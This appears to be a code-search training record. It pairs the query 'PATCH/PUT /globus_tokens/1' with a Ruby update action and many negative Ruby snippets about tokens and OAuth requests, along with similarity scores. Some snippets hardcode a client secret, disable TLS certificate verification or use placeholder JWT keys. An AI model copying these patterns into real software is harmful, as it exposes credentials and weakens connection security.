http_status_code.chr != '2'\n # Show me http status code\n puts \"/n http_status_code: #{http_status_code}\"\n end\n\n if response.is_a?(Net::HTTPSuccess)\n puts \"response is a Net::HTTPSuccess object\"\n # if response is OK then parese it to a Ruby data structure\n access_token_hash = JSON.parse(response.body)\n # access_token = access_token_hash['access_token']\n end\n\n access_token_hash\n end", "def create\n @token = Token.new(params[:token])\n \n respond_to do |format|\n if @token.save\n format.html { redirect_to @token, notice: 'Token was successfully created.' }\n format.json { render json: @token, status: :created, location: @token }\n else\n format.html { render action: \"new\" }\n format.json { render json: @token.errors, status: :unprocessable_entity }\n end\n end\n end", "def token\n @api.get(\"#{Paths::TOKENS}\")\n end", "def create\n @sanchaypatra = current_user.sanchaypatras.new(sanchaypatra_params)\n @sanchaypatra.generate_tokens\n\n respond_to do |format|\n if @sanchaypatra.save\n format.html { redirect_to sanchaypatras_url, notice: 'Sanchaypatra was successfully created.' }\n format.json { render :show, status: :created, location: @sanchaypatra }\n else\n format.html { render :new }\n format.json { render json: @sanchaypatra.errors, status: :unprocessable_entity }\n end\n end\n end", "def set_globus_token\n @globus_token = GlobusToken.find(params[:id])\n end", "def update\n respond_to do |format|\n if @globus_token.update(globus_token_params)\n format.html { redirect_to globus_token_url(@globus_token), notice: \"Globus token was successfully updated.\" }\n format.json { render :show, status: :ok, location: @globus_token }\n else\n format.html { render :edit, status: :unprocessable_entity }\n format.json { render json: @globus_token.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @token = Token.new(token_params)\n\n respond_to do |format|\n if @token.save\n format.html { redirect_to admin_token_path(@token), notice: 'Token was successfully created.' }\n format.json { render :show, status: :created, location: admin_token_path(@token) }\n else\n format.html { render :new }\n format.json { render json: @token.errors, status: :unprocessable_entity }\n end\n end\n end", "def rest_token_endpoint; end", "def token\n end", "def index\n @globus_tokens = GlobusToken.all\n end", "def post(resource:, data:, version: :v1)\n if data.is_a? String\n begin\n MultiJson.load data\n rescue MultiJson::ParseError => e\n raise BayPhoto::Exceptions::BadJSON, \"Invalid JSON string: #{e.message}\"\n end\n else\n data = MultiJson.dump data\n end\n\n handle = http_handle(version: version)\n\n req = Net::HTTP::Post.new(uri_path_for(resource: resource, version: version))\n req[\"Content-Type\"] = \"application/json\"\n SET_REQUEST_AUTH_TOKEN.call(req)\n req.body = data\n\n handle_response(handle.request(req))\n end", "def signed_post_request url, body\n body_json= body.to_json\n token = jwt_post_signature url, body_json\n HTTParty.post('http://localhost:5000'+url,\n {headers:{\n \"Authorization\"=>\"JWT token=\\\"#{token}\\\"\",\n \"Content-Type\"=> \"application/json;charset=utf-8\",\n },\n body: body_json}\n )\n\n end", "def scope_token(para1, para2 = nil, para3 = nil)\n if ( para2.nil? )\n data = { \"auth\" => { \"tenantName\" => para1, \"token\" => { \"id\" => token() } } }\n @data = post_request(address(\"/tokens\"), data, token())\n else \n authenticate(para1, para2, token(), para3)\t\t\t\n end\n end", "def tokens_path\n @tokens_path || \"/requests/tokens/\"\n end", "def post(path, params = {})\n response = access_token.post(path, params.stringify_keys, header)\n parse_response(response)\n end", "def create_set_and_add_token\n token = SecureRandom.urlsafe_base64\n @user.token = token\n response.headers['X-AUTH-TOKEN'] = token\n end", "def create\n @user_token = UserToken.new(params[:user_token])\n\n respond_to do |format|\n if @user_token.save\n format.html { redirect_to @user_token, notice: 'User token was successfully created.' }\n format.json { render json: @user_token, status: :created, location: @user_token }\n else\n format.html { render action: \"new\" }\n format.json { render json: @user_token.errors, status: :unprocessable_entity }\n end\n end\n end", "def token_generator(params)\n Auth::JsonWebToken.encode(params)\n end", "def token\n identity = Faker::Internet.user_name.gsub(/[^0-9a-z_]/i, '')\n\n capability = Twilio::Util::Capability.new ENV['TWILIO_ACCOUNT_SID'], ENV['TWILIO_AUTH_TOKEN']\n # The Twilio \n capability.allow_client_outgoing ENV['TWILIO_TWIML_APP_SID']\n capability.allow_client_incoming identity\n token = capability.generate\n\n render json: {identity: identity, token: token}\n end", "def create\n @apn_token = ApnToken.find_by(token: apn_token_params[:token])\n @apn_token = ApnToken.new(apn_token_params) unless @apn_token\n @apn_token.updated_at = Time.now\n respond_to do |format|\n if @apn_token.save\n format.html { redirect_to @apn_token, notice: 'Apn token was successfully created.' }\n format.json { render :show, status: :created, location: @apn_token }\n else\n format.html { render :new }\n format.json { render json: @apn_token.errors, status: :unprocessable_entity }\n end\n end\n end", "def token(add_params = nil)\n params = {\n uid: uid,\n }\n api_call('/stores/:uid/token(.:format)',:post,params,add_params)\n end", "def create\n self.resource = warden.authenticate!(scope: :user)\n token = Tiddle.create_and_return_token(resource, request)\n render json: { authentication_token: token }\n end", "def create\n @user = User.create_or_find_by(user_params)\n my_token = issue_token(@user)\n\n render json: {user: @user, token: my_token}\n # render json: @user\n \n end", "def request_token\n @token=current_client_application.create_request_token\n if @token\n render :text=>@token.to_query\n else\n render :nothing => true, :status => 401\n end\n end", "def set_tokens_from_post(path, verifier=nil)\n query = create_query_string_from_hash({\n \"code\" => verifier,\n \"grant_type\" => \"authorization_code\",\n \"redirect_uri\" => callback_url\n })\n response = post(path+query)\n require_server_success_response(response)\n result = JSON::parse(response.body)\n # We only get an access token with OAuth2 so we set the\n # access_token_secret to N/A so authenticated checks don't break\n set_tokens(result['access_token'].to_s, \"N/A\")\n raise \"Unable to verify code\" unless !@verifier.nil? || authenticated?\n result\n end", "def token\n session = Session.find_by(id: params[:id])\n token = @@opentok.generate_token(session.session_id)\n render :json => { OtToken: token }\n end", "def oauth_v2_token_post_with_http_info(opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: AuthAndRegistrationApi.oauth_v2_token_post ...'\n end\n # resource path\n local_var_path = '/oauth/v2/token'\n\n # query parameters\n query_params = {}\n\n # header parameters\n header_params = {}\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = @api_client.object_to_http_body(opts[:'oauth_token_request'])\n auth_names = []\n data, status_code, headers = @api_client.call_api(:POST, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'Token')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: AuthAndRegistrationApi#oauth_v2_token_post\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end", "def token_validation(token)\n # puts \"TEST ACCESS_TOKEN\", token\n # decode_token(token, keycloak_pub_key)\n # url = URI(\"http://localhost:8081/auth/realms/master/clients-registrations/openid-connect/\")\n url = URI(\"http://127.0.0.1:8081/auth/realms/master/protocol/openid-connect/token/introspect\")\n # ttp = Net::HTTP.new(url.host, url.port)\n\n # request = Net::HTTP::Post.new(url.to_s)\n # request = Net::HTTP::Get.new(url.to_s)\n # request[\"authorization\"] = 'bearer ' + token\n # request[\"content-type\"] = 'application/json'\n # body = {\"token\" => token}\n\n # request.body = body.to_json\n\n res = Net::HTTP.post_form(url, 'client_id' => 'adapter',\n 'client_secret' => 'df7e816d-0337-4fbe-a3f4-7b5263eaba9f',\n 'grant_type' => 'client_credentials', 'token' => token)\n\n puts \"RESPONSE_INTROSPECT\", res.read_body\n res.read_body\n # RESPONSE_INTROSPECT:\n # {\"jti\":\"bc1200e5-3b6d-43f2-a125-dc4ed45c7ced\",\"exp\":1486105972,\"nbf\":0,\"iat\":1486051972,\"iss\":\"http://localhost:8081/auth/realms/master\",\"aud\":\"adapter\",\"sub\":\"67cdf213-349b-4539-bdb2-43351bf3f56e\",\"typ\":\"Bearer\",\"azp\":\"adapter\",\"auth_time\":0,\"session_state\":\"608a2a72-198d-440b-986f-ddf37883c802\",\"name\":\"\",\"preferred_username\":\"service-account-adapter\",\"email\":\"service-account-adapter@placeholder.org\",\"acr\":\"1\",\"client_session\":\"2c31bbd9-c13d-43f1-bb30-d9bd46e3c0ab\",\"allowed-origins\":[],\"realm_access\":{\"roles\":[\"create-realm\",\"admin\",\"uma_authorization\"]},\"resource_access\":{\"adapter\":{\"roles\":[\"uma_protection\"]},\"master-realm\":{\"roles\":[\"view-identity-providers\",\"view-realm\",\"manage-identity-providers\",\"impersonation\",\"create-client\",\"manage-users\",\"view-authorization\",\"manage-events\",\"manage-realm\",\"view-events\",\"view-users\",\"view-clients\",\"manage-authorization\",\"manage-clients\"]},\"account\":{\"roles\":[\"manage-account\",\"view-profile\"]}},\"clientHost\":\"127.0.0.1\",\"clientId\":\"adapter\",\"clientAddress\":\"127.0.0.1\",\"client_id\":\"adapter\",\"username\":\"service-account-adapter\",\"active\":true}\nend", "def rest_token_end_point; end", "def request_token\n @token = current_client_application.create_request_token\n if @token\n render :text => @token.to_query\n else\n render :nothing => true, :status => 401\n end\n end", "def call_token_api(params, clientId, clientSecret)\n return call_api(\"/api/auth/token\", {\n \"parameters\" => URI.encode_www_form(params),\n \"clientId\" => clientId,\n \"clientSecret\" => clientSecret\n })\nend", "def getTokenAdd( language, portal_name, country, flatpack_id)\n params = Hash.new\n params['language'] = language\n params['portal_name'] = portal_name\n params['country'] = country\n params['flatpack_id'] = flatpack_id\n return doCurl(\"get\",\"/token/add\",params)\n end", "def obtain_token(body:)\n new_api_call_builder\n .request(new_request_builder(HttpMethodEnum::POST,\n '/oauth2/token',\n 'default')\n .header_param(new_parameter('application/json', key: 'Content-Type'))\n .body_param(new_parameter(body))\n .header_param(new_parameter('application/json', key: 'accept'))\n .body_serializer(proc do |param| param.to_json unless param.nil? end))\n .response(new_response_handler\n .deserializer(APIHelper.method(:json_deserialize))\n .is_api_response(true)\n .convertor(ApiResponse.method(:create)))\n .execute\n end", "def get_user_tokens(code)\n request = Typhoeus::Request.new(\n TOKEN_ENDPOINT,\n method: :post,\n body: {\n 'grant_type' => \"authorization_code\",\n 'client_id' => ID,\n 'client_secret' => SECRET,\n 'code' => code\n },\n headers: {\n 'Api-Key' => ID\n })\n request.run\n end", "def set_token\n @token = ENV[\"TYPEFORM_API_TOKEN\"]\n end", "def request_token\n request = { query: { code: ENV['GOOGL_CODE'], \n client_id: ENV['GOOGL_CLIENT_ID'], \n client_secret: ENV['GOOGL_CLIENT_SECRET'],\n redirect_uri: ENV['GOOGL_REDIRECT_URI'],\n grant_type: \"authorization_code\" } }\n\n result = self.class.post(\"/oauth2/v3/token\", request)\n\n result.parsed_response\n end", "def post(opts = {})\n with_monitoring do\n connection.post(opts[:path]) do |req|\n prefix = opts[:access_token] ? 'Bearer' : 'Basic'\n suffix = opts[:access_token] || opts[:claims_token]\n req.headers = headers.merge('Authorization' => \"#{prefix} #{suffix}\")\n end\n end\n end", "def post(path, args={})\n inject_token_auth_headers!(args)\n response = self.class.post(request_url(path), args)\n update_token_auth_headers(response)\n return response\n end", "def do_token(params, clientId, clientSecret)\n # Call Authlete's /auth/token API.\n response = call_token_api(params, clientId, clientSecret)\n\n # The content of the response to the client.\n content = response[\"responseContent\"]\n\n # \"action\" denotes the next action.\n case response[\"action\"]\n when \"INVALID_CLIENT\"\n # 401 Unauthorized\n # Client authentication failed.\n return WebResponse.new(401, content).json\\\n .wwwAuthenticate(\"Basic realm=\\\"/token\\\"\").to_response\n\n when \"INTERNAL_SERVER_ERROR\"\n # 500 Internal Server Error\n # The API request from this implementation was wrong\n # or an error occurred in Authlete.\n return WebResponse.new(500, content).json.to_response\n\n when \"BAD_REQUEST\"\n # 400 Bad Request\n # The token request from the client was wrong.\n return WebResponse.new(400, content).json.to_response\n\n when \"PASSWORD\"\n # Process the token request whose flow is\n # \"Resource Owner Password Credentials\".\n return handle_password(response)\n\n when \"OK\"\n # 200 OK\n # The token request from the client was valid. An access\n # token is issued to the client application.\n return WebResponse.new(200, content).json.to_response\n\n else\n # This never happens.\n return WebResponse.new(500, \"Unknown action\").plain.to_response\n end\nend", "def request_token(params)\n header = {}\n\n if @endpoint_auth == :basic\n header = { authorization: 'Basic ' + Base64.encode64(\"#{@client_id}:#{@client_secret}\") }\n else\n params[:client_id] = @client_id\n params[:client_secret] = @client_secret\n end\n\n request = Net::HTTP::Post.new(@token_endpoint, header)\n request.form_data = params\n Net::HTTP.start(@host.hostname, @host.port, use_ssl: true) { |http| http.request(request) }\n end", "def post_token_request()\r\n # Create REST request header\r\n header = get_header()\r\n begin\r\n # Post REST request \r\n response = RestClient.post(@token_request_uri, @token_request_body, header) \r\n if (response.code == 200 || response.code == 201)\r\n return JSON.parse(response.body)\r\n else\r\n @logger.trace(\"Rest client response from ADD API ['#{response}']\")\r\n raise (\"Failed to get AAD token: http code \" + response.code.to_s)\r\n end\r\n rescue RestClient::ExceptionWithResponse => ewr\r\n @logger.trace(\"Rest client response from ADD API ['#{ewr.response}']\")\r\n raise (\"Failed to get AAD token: http code \" + ewr.response.code.to_s)\r\n end\r\n end", "def create\n user = User.find_by(email: auth_params[:email])\n if user&.valid_password?(auth_params[:password])\n @token = user.api_tokens.find_or_create_by(name: (auth_params[:name] || \"default\")) do |token|\n token.make_token.save!\n end\n render json: {\n token: @token.token\n }\n else\n head :unauthorized\n end\n end", "def post operation, data={}\n body = case data\n when String\n body = data\n else\n Yajl::Encoder.encode(data)\n end\n\n request = new_request operation, body\n request.sign sts\n hydra.queue request\n hydra.run\n response = request.response\n puts response.inspect if @debug\n\n if response.code == 200\n Yajl::Parser.parse response.body\n else\n raise_error response\n end\n end", "def create(body = {})\n @client.token.create(body)\n end", "def json_token(cmatch, tstamp, expiration)\n token_url = create_token_url(cmatch, tstamp)\n token_expires = tstamp + expiration\n json :auth => cmatch,\n :timestamp => tstamp,\n :expires => token_expires,\n :token_url => token_url\nend", "def create_token\n return api_call('request-token',{\"apiKey\"=> @@_api_key });\n end", "def post(path, data = {})\n self.class.post path, :body => data.merge(:u => access_token)\n end", "def post_form_field(request)\n data, _status_code, _headers = post_form_field_with_http_info(request)\n request_token if _status_code == 401\n data\n end", "def token_params\n params.require(:token).permit(:name, :value, :category_id)\n end", "def disposable_tokens(params = {})\n post(\"/invite-token/generate\", params)\n end", "def token_uri; end", "def token_params\n params.require(:token).permit(:name, :address, :company_id)\n end", "def post(url, token, params, headers)\n puts \"post to #{url}\"\n uri = URI.parse(url)\n\n http = Net::HTTP.new(uri.host, uri.port)\n http.use_ssl = true\n\n req = Net::HTTP::Post.new(uri.path, headers)\n req['Authorization'] = \"token #{token}\" if token\n\n return http.request(req, params)\nend", "def post_field(request)\n data, _status_code, _headers = post_field_with_http_info(request)\n request_token if _status_code == 401\n data\n end", "def create\n @list = List.find(params[:list_id])\n @token = @list.tokens.new(token_params)\n\n respond_to do |format|\n if @token.save\n format.html { redirect_to list_path(@list), notice: 'Token was successfully created.' }\n # format.json { render :show, status: :created, location: @token }\n else\n format.html { render 'lists/show' }\n # format.json { render json: @token.errors, status: :unprocessable_entity }\n end\n end\n end", "def request_token(auth, opts)\n case auth[:method]\n when 'token'\n auth_token(auth)\n when 'userpass'\n auth_userpass(auth, opts)\n else\n raise ValidationError, \"Unknown auth method: #{auth[:method]}\"\n end\n end", "def post(access_token, path, args={}, headers={})\n run :post, access_token, path, args, headers\n end", "def save_registration(params)\r\n random_pass = 4.times.map { (0..9).to_a.sample }.join\r\n stgu = Hash.new\r\n stgu['__c'] = 'stgu'\r\n stgu['__p'] = [\r\n nil,\r\n nil,\r\n nil, \r\n 1,\r\n params[:email],\r\n random_pass,\r\n nil,\r\n params[:first_name],\r\n params[:middle_name],\r\n params[:last_name],\r\n params[:phone],\r\n nil,\r\n Settings.register_location,\r\n params[:birth_date]\r\n ]\r\n\r\n address = [\r\n nil,\r\n nil,\r\n nil,\r\n params[:street_address],\r\n nil,\r\n params[:city],\r\n nil,\r\n params[:state],\r\n 'US',\r\n params[:zip_code]\r\n ]\r\n\r\n stgma = Hash.new\r\n stgma['__c'] = 'stgma'\r\n stgma['__p'] = address\r\n\r\n stgba = Hash.new\r\n stgba['__c'] = 'stgba'\r\n stgba['__p'] = address\r\n\r\n stgu_json = stgu.to_json\r\n stgma_json = stgma.to_json\r\n stgba_json = stgba.to_json\r\n\r\n register_path = 'https://catalog.tadl.org/osrf-gateway-v1?service=open-ils.actor&method=open-ils.actor.user.stage.create&param='\r\n register_path << stgu_json.to_s\r\n register_path << '&param=' + stgma_json.to_s\r\n register_path << '&param=' + stgba_json.to_s\r\n\r\n if Settings.register_newsletter == true && params[:enews] == 'true'\r\n uri = URI(Settings.register_listapi_url)\r\n\r\n params = {\r\n 'check' => ENV[\"LISTAPI_KEY\"],\r\n 'email' => params[:email],\r\n 'firstname' => params[:first_name],\r\n 'lastname' => params[:last_name],\r\n 'city' => params[:city],\r\n 'state' => params[:state],\r\n 'zip' => params[:zip_code],\r\n }\r\n\r\n res = Net::HTTP.post_form(uri, params);\r\n # puts res.body if res.is_a?(Net::HTTPSuccess) # Uncomment for DEBUG\r\n\r\n end\r\n\r\n uri = URI.parse(register_path)\r\n response = Net::HTTP.get_response(uri)\r\n if response.code == '200'\r\n return JSON.parse(response.body)\r\n else\r\n return 'error'\r\n end\r\n\r\n end", "def create_one_time_token\n @one_time_token =\n JSON::JWT.new(iss: 'try-it-juku-test',\n exp: 5.minutes.since,\n nbf: Time.current,\n sub: { shin_cd: @current_chief.shin_cd })\n .sign(ACCESS_TOKEN_SIGNATURE, :HS256).to_s\n end", "def destroy\n @globus_token.destroy\n\n respond_to do |format|\n format.html { redirect_to globus_tokens_url, notice: \"Globus token was successfully destroyed.\" }\n format.json { head :no_content }\n end\n end", "def create\n @user = User.new(user_params)\n if @user.save\n @token = encode_token({user_id: @user.id})\n render json: {user: @user, token: @token}\n else\n render json: @user.errors, status: :unprocessable_entity\n end\n end", "def token\n validate_arguments!\n\n display Turbot::Auth.api_key\n end", "def test_checking_saving_values\n post '/save-values', :value1 => '1', :value2 => '2'\n token_json = JSON.parse(last_response.body)\n assert_not_equal \" \", token_json['id']\n end", "def oauth_v2_token_post(opts = {})\n data, _status_code, _headers = oauth_v2_token_post_with_http_info(opts)\n data\n end", "def request_a_token_with_http_info(opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: TokensApi.request_a_token ...'\n end\n # resource path\n local_var_path = '/tokens'\n\n # query parameters\n query_params = opts[:query_params] || {}\n\n # header parameters\n header_params = opts[:header_params] || {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n # HTTP header 'Content-Type'\n header_params['Content-Type'] = @api_client.select_header_content_type(['application/json'])\n\n # form parameters\n form_params = opts[:form_params] || {}\n\n # http body (model)\n post_body = opts[:debug_body] || @api_client.object_to_http_body(opts[:'token_request'])\n\n # return_type\n return_type = opts[:debug_return_type] || 'TokenResponse'\n\n # auth_names\n auth_names = opts[:debug_auth_names] || ['ApiPublicKey']\n\n new_options = opts.merge(\n :operation => :\"TokensApi.request_a_token\",\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => return_type\n )\n\n data, status_code, headers = @api_client.call_api(:POST, local_var_path, new_options)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: TokensApi#request_a_token\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end", "def post(method, **params)\n params[\"token\"] = SLACK_API_TOKEN\n json = JSON.parse(\n Net::HTTP.post_form(\n URI.parse(\"https://slack.com/api/\" + method),\n params\n ).body\n )\n return json if json[\"ok\"]\n json\n end", "def sign_token(path, params = {}, post_data=\"\")\n sign(\"#{@api_secret}ApiKey#{@api_key}ServicePath/#{version}#{path}#{build_param_string(params)}#{post_data}\")\n end", "def new\n @token = Token.new\n \n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @token }\n end\n end", "def rest_token_endpoint=(_arg0); end", "def fetch_token\n response = RestClient.get \"https://#{Autoscout24Client.config[:username]}:#{Autoscout24Client.config[:password]}@sts.idm.telekom.com/rest-v1/tokens/odg\", {:accept => :json}\n JSON.parse(response)[\"token\"]\n end", "def push_token(tk); end", "def issue_token(kind)\n session = Session.new(user: self, seconds: 3600)\n session.save\n if kind == :reset_token\n self.reset_token = session.token\n elsif kind == :verification_token\n self.verification_token = session.token\n end\n end", "def create_registration_token_with_http_info(opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: ManagementPlaneApiAaaApi.create_registration_token ...'\n end\n # resource path\n local_var_path = '/aaa/registration-token'\n\n # query parameters\n query_params = {}\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n # HTTP header 'Content-Type'\n header_params['Content-Type'] = @api_client.select_header_content_type(['application/json'])\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = nil\n auth_names = ['BasicAuth']\n data, status_code, headers = @api_client.call_api(:POST, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'RegistrationToken')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: ManagementPlaneApiAaaApi#create_registration_token\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end", "def index \n @tokens = @user.tokens\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @tokens }\n end\n end", "def encode_token(payload) \n # this method takes in a payload (a hash of key/values you want to save in the token) and signs a token using a secret key. (in production this should an ENV variable.)\n JWT.encode(payload, 'yourSecret') \n end", "def token(auth_code = T.unsafe(nil), headers = T.unsafe(nil)); end", "def create_national_token\n token = Engine::Token.new(national, price: national_token_price)\n national.tokens << token\n token\n end", "def post_curl\n `curl -X \"POST\" -H \"Authorization: Basic #{_encode}\" -d grant_type=client_credentials https://accounts.spotify.com/api/token`\n end", "def token; config[:token]; end", "def token(secret, claims={})\n payload = {}\n payload.merge!(claims)\n puts secret\n JWT.encode payload, [secret].pack('H*').bytes.to_a.pack('c*'), 'HS256'\nend", "def token_params\n params.permit(:email, :password)\n end", "def create_token\n token = SecureRandom.hex(10) #on crée un token de 10 caractères au hasard\n self.token = token #affectation du token à la candidature\n self.save\n end", "def issue_token(payload)\n JWT.encode(payload, Rails.application.credentials.secret_key_base)\n # JWT.encode(payload, ENV[\"SOME_SECRET\"], ENV[\"SOME_SUPER_SECRET\"])\nend", "def get_new_access_token\n now = Time.now\n params = {\n body: {\n grant_type: 'urn:ietf:params:oauth:grant-type:uma-ticket',\n ticket: retrieve_ticket,\n client_id: key_info['oxtrust_client_id'],\n client_assertion_type: 'urn:ietf:params:oauth:client-assertion-type:jwt-bearer',\n client_assertion: generate_json_web_token(now),\n scope: 'oxtrust-api-read oxtrust-api-write'\n }\n }\n req = HTTParty.post('https://localhost/oxauth/restv1/token', params)\n if req.code == 200\n token = req['access_token']\n save_access_token(token, now.to_i + 86_400)\n token\n else\n Puppet.err(\n \"Gluu API HTTP #{req.code}: #{req['error_description']}\",\n )\n end\n end", "def gettoken(url,username,password,tenant)\n url1 = \"#{url}/identity/api/tokens\"\n uri = URI.parse(url1)\n request = Net::HTTP::Post.new(uri)\n request.content_type = \"application/json\"\n request[\"Accept\"] = \"application/json\"\n request.body = JSON.dump({\n \"username\" => username,\n \"password\" => password,\n \"tenant\" => tenant\n })\n\n req_options = {\n use_ssl: uri.scheme == \"https\",\n verify_mode: OpenSSL::SSL::VERIFY_NONE,\n }\n\n response = Net::HTTP.start(uri.hostname, uri.port, req_options) do |http|\n http.request(request)\n end\n\n token_output = response.body\n token_json = JSON.parse(token_output)\n vra_token = token_json[\"id\"]\n return vra_token\n end", "def token_generate\n res = call('auth.token_generate')\n\n return unless res || res['token']\n\n res['token']\n end", "def request_tokens\n code, session_state = request_code\n params = build_token_credentials(code, session_state)\n send_token_request(params)\n end", "def register(device_token)\n client.post('/register', device_token: device_token)\n end", "def runTokenRenewalPost\n msg = Thread.current.to_s\n renew = Stopwatch.new(msg)\n renew.start\n payload = \"grant_type=#{@grant_type}&scope=#{@scope}&client_id=#{@key}&client_secret=#{@secret}\"\n response = RestClient.post @token_server,\n payload,\n {\n :content_type => \"application/x-www-form-urlencoded\"\n }\n ensure\n # make sure to print the elapsed time for the renewal.\n renew.stop\n logger.info(\"WAPI: renew token post: stopwatch: \"+renew.pretty_summary)\n end", "def create_token\n ong=Ong.find(params[:ong_id])\n initiative=Initiative.find(params[:initiative_id])\n @api = AdwordAuth.create_adwords_api(ong)\n\n token_params=@api.authorize({\n :oauth2_callback => create_token_ong_adword_auths_url(ong)+ \"?initiative_id=#{initiative.id}\" ,\n :oauth2_verification_code => params[:code]\n })\n token_params.delete(:id_token)\n @adword_auth = AdwordAuth.new(token_params)\n @adword_auth.ong=ong\n respond_to do |format|\n if @adword_auth.save\n format.html { \n flash[:auth_adwords] = true\n redirect_to [ong, initiative], notice: 'Autorización Correcta' \n }\n \n else\n format.html { \n flash[:auth_adwords] = false\n redirect_to [ong, initiative], notice: 'Autorización Correcta' \n }\n \n end\n end\n end", "def getNewToken(parameters = {})\n parameters.merge!({\n :client_id => @client_id,\n :client_secret => @client_secret\n })\n headers = {\n :content_type => \"application/x-www-form-urlencoded\",\n :accept => \"application/json\"\n }\n begin\n response = Transport.post(\"#{@fqdn}#{@suburl}\", parameters, headers)\n rescue RestClient::Exception => e\n raise(OAuthException, \"Problem obtaining a token: #{e.response || e.message}\", e.backtrace)\n end\n\n begin\n OAuthToken.createFromJson(response)\n rescue Exception => e\n raise(OAuthException, \"Error parsing the token response data: #{e}\", e.backtrace)\n end\n end", "def post_request(uri, body, token)\n http = build_http(uri)\n request = Net::HTTP::Post.new(uri.request_uri, initheader = build_headers(token))\n request.body = body\n return http.request(request)\t\t\n end" ]
[ "0.6457726", "0.6397135", "0.61262566", "0.6043799", "0.5970899", "0.59197044", "0.58563757", "0.5831155", "0.5829455", "0.5815487", "0.5781872", "0.5781479", "0.5777564", "0.5756895", "0.5752412", "0.5726105", "0.5702234", "0.5689025", "0.5674404", "0.5670639", "0.5669772", "0.5604786", "0.5593613", "0.5583549", "0.5580344", "0.5571547", "0.5566924", "0.5562913", "0.5552981", "0.55497247", "0.554961", "0.5531973", "0.55240375", "0.55164844", "0.5515098", "0.5512319", "0.55053294", "0.55022526", "0.5498863", "0.5490512", "0.5488794", "0.54809684", "0.547987", "0.54714423", "0.54708487", "0.5462843", "0.54543775", "0.54497695", "0.54492736", "0.5443674", "0.54172647", "0.5413586", "0.54124284", "0.54092026", "0.5403189", "0.53966004", "0.5394722", "0.5375268", "0.53751874", "0.53494817", "0.53332514", "0.53283894", "0.53269345", "0.5320028", "0.5319152", "0.53139764", "0.5309496", "0.5277146", "0.5276168", "0.5274668", "0.52715397", "0.5267111", "0.526164", "0.5260708", "0.5258789", "0.52573127", "0.52573", "0.5254731", "0.52540576", "0.5253015", "0.5252175", "0.5249565", "0.5245855", "0.52452284", "0.52401423", "0.5233808", "0.52291167", "0.52273536", "0.52229184", "0.520927", "0.52039975", "0.5186011", "0.51853853", "0.5182681", "0.5180711", "0.5177287", "0.51724887", "0.51644427", "0.516081", "0.51598984" ]
0.704741
0
PATCH/PUT /globus_tokens/1 or /globus_tokens/1.json
def update respond_to do |format| if @globus_token.update(globus_token_params) format.html { redirect_to globus_token_url(@globus_token), notice: "Globus token was successfully updated." } format.json { render :show, status: :ok, location: @globus_token } else format.html { render :edit, status: :unprocessable_entity } format.json { render json: @globus_token.errors, status: :unprocessable_entity } end end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def set_globus_token\n @globus_token = GlobusToken.find(params[:id])\n end", "def update_token(data, token)\n base_url = flutterwave_object.base_url \n response = put_request(\"#{base_url}/tokens/#{token}\", data.to_json)\n return response\n end", "def update\n @token = @user.tokens.find(params[:id])\n\n respond_to do |format|\n if @token.update_attributes(params[:token])\n format.html { redirect_to [@user,@token], notice: 'Token was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @token.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @token = Token.find(params[:id])\n\n if @token.update(params[:token])\n head :no_content\n else\n render json: @token.errors, status: :unprocessable_entity\n end\n end", "def update\n @token = Token.find(params[:id])\n\n if @token.update(token_params)\n head :no_content\n else\n render json: @token.errors, status: :unprocessable_entity\n end\n end", "def update\n respond_to do |format|\n if @token.update(token_params)\n format.html { redirect_to admin_token_path(@token), notice: 'Token was successfully updated.' }\n format.json { render :show, status: :ok, location: admin_token_path(@token) }\n else\n format.html { render :edit }\n format.json { render json: @token.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @token = Token.find(params[:id])\n \n respond_to do |format|\n if @token.update_attributes(params[:token])\n format.html { redirect_to @token, notice: 'Token was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @token.errors, status: :unprocessable_entity }\n end\n end\n end", "def globus_token_params\n params.require(:globus_token).permit(:access_token, :expires_in, :body)\n end", "def refresh_single_use_oauth2_token!\n assign_single_use_oauth2_token\n save!\n end", "def update!(**args)\n @token_hmac_sha1_prefix = args[:token_hmac_sha1_prefix] if args.key?(:token_hmac_sha1_prefix)\n end", "def update!(**args)\n @token_hmac_sha1_prefix = args[:token_hmac_sha1_prefix] if args.key?(:token_hmac_sha1_prefix)\n end", "def update\n unless User.admin_by_token?(request.cookies[\"token\"])\n render json: { error: \"invalid_token\" }, status: :unauthorized\n return\n end\n\n if @resource.update(resource_params)\n render json: @resource, status: :ok\n else\n render json: @resource.errors, status: :unprocessable_entity\n end\n end", "def update!(**args)\n @id_token = args[:id_token] if args.key?(:id_token)\n @provider_id = args[:provider_id] if args.key?(:provider_id)\n @redirect_uri = args[:redirect_uri] if args.key?(:redirect_uri)\n @tenant_id = args[:tenant_id] if 